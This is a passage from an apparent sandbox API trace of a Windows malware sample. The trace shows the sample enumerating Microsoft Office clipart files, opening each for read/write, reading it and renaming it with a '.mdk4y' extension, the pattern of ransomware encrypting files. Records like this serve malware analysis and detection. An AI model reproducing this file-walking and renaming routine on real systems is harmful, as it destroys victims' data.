(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.mdk4y")) returned 1 [0147.707] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.708] AreFileApisANSI () returned 1 [0147.708] GetACP () returned 0x4e4 [0147.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105398.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105398.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.708] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822293800000) returned 1 [0147.709] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd00, lpOverlapped=0x0) returned 1 [0147.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822295300000) returned 1 [0147.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822295300000) returned 1 [0147.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.mdk4y")) returned 1 [0147.725] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.725] AreFileApisANSI () returned 1 [0147.725] GetACP () returned 0x4e4 [0147.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105410.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105410.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.725] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822295500000) returned 1 [0147.725] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4fdc, lpOverlapped=0x0) returned 1 [0147.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822303200000) returned 1 [0147.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822303200000) returned 1 [0147.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.mdk4y")) returned 1 [0147.803] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.803] AreFileApisANSI () returned 1 [0147.803] GetACP () returned 0x4e4 [0147.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105412.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105412.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.803] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822303400000) returned 1 [0147.804] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24b8, lpOverlapped=0x0) returned 1 [0147.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822304000000) returned 1 [0147.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822304000000) returned 1 [0147.811] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.mdk4y")) returned 1 [0147.811] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.811] AreFileApisANSI () returned 1 [0147.811] GetACP () returned 0x4e4 [0147.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105414.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105414.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.811] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822304200000) returned 1 [0147.812] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1864, lpOverlapped=0x0) returned 1 [0147.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822304700000) returned 1 [0147.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822304700000) returned 1 [0147.817] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.mdk4y")) returned 1 [0147.818] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.818] AreFileApisANSI () returned 1 [0147.818] GetACP () returned 0x4e4 [0147.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105490.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105490.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.818] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822304800000) returned 1 [0147.818] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4928, lpOverlapped=0x0) returned 1 [0147.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822309900000) returned 1 [0147.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822309900000) returned 1 [0147.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.mdk4y")) returned 1 [0147.870] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.871] AreFileApisANSI () returned 1 [0147.871] GetACP () returned 0x4e4 [0147.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105496.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105496.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822310100000) returned 1 [0147.871] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1424, lpOverlapped=0x0) returned 1 [0147.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822318800000) returned 1 [0147.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822318800000) returned 1 [0147.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.mdk4y")) returned 1 [0147.959] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.959] AreFileApisANSI () returned 1 [0147.959] GetACP () returned 0x4e4 [0147.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105502.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105502.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.959] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822319000000) returned 1 [0147.960] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1560, lpOverlapped=0x0) returned 1 [0148.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822324200000) returned 1 [0148.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822324200000) returned 1 [0148.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.mdk4y")) returned 1 [0148.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.013] AreFileApisANSI () returned 1 [0148.013] GetACP () returned 0x4e4 [0148.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105504.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105504.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822324400000) returned 1 [0148.014] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1034, lpOverlapped=0x0) returned 1 [0148.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822330300000) returned 1 [0148.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822330300000) returned 1 [0148.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.mdk4y")) returned 1 [0148.074] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.074] AreFileApisANSI () returned 1 [0148.074] GetACP () returned 0x4e4 [0148.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105506.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105506.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822330500000) returned 1 [0148.075] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb60, lpOverlapped=0x0) returned 1 [0148.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822332300000) returned 1 [0148.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822332300000) returned 1 [0148.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.mdk4y")) returned 1 [0148.095] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.095] AreFileApisANSI () returned 1 [0148.095] GetACP () returned 0x4e4 [0148.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105520.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105520.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.095] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822332600000) returned 1 [0148.096] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c44, lpOverlapped=0x0) returned 1 [0148.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822334900000) returned 1 [0148.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822334900000) returned 1 [0148.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.mdk4y")) returned 1 [0148.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.121] AreFileApisANSI () returned 1 [0148.121] GetACP () returned 0x4e4 [0148.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105526.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105526.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.121] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822335200000) returned 1 [0148.122] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43b4, lpOverlapped=0x0) returned 1 [0148.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822336900000) returned 1 [0148.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822336900000) returned 1 [0148.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.mdk4y")) returned 1 [0148.140] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.140] AreFileApisANSI () returned 1 [0148.140] GetACP () returned 0x4e4 [0148.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105530.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105530.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822337000000) returned 1 [0148.141] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1cd8, lpOverlapped=0x0) returned 1 [0148.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822340000000) returned 1 [0148.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822340000000) returned 1 [0148.170] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.mdk4y")) returned 1 [0148.171] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.171] AreFileApisANSI () returned 1 [0148.171] GetACP () returned 0x4e4 [0148.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105588.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105588.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.171] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822340200000) returned 1 [0148.172] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x542c, lpOverlapped=0x0) returned 1 [0148.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822341100000) returned 1 [0148.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822341100000) returned 1 [0148.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.mdk4y")) returned 1 [0148.182] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.182] AreFileApisANSI () returned 1 [0148.182] GetACP () returned 0x4e4 [0148.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105600.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105600.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.182] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822341300000) returned 1 [0148.183] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21e8, lpOverlapped=0x0) returned 1 [0148.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822345400000) returned 1 [0148.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822345400000) returned 1 [0148.225] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.mdk4y")) returned 1 [0148.225] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.225] AreFileApisANSI () returned 1 [0148.225] GetACP () returned 0x4e4 [0148.225] WideCharToMultiByte (in: 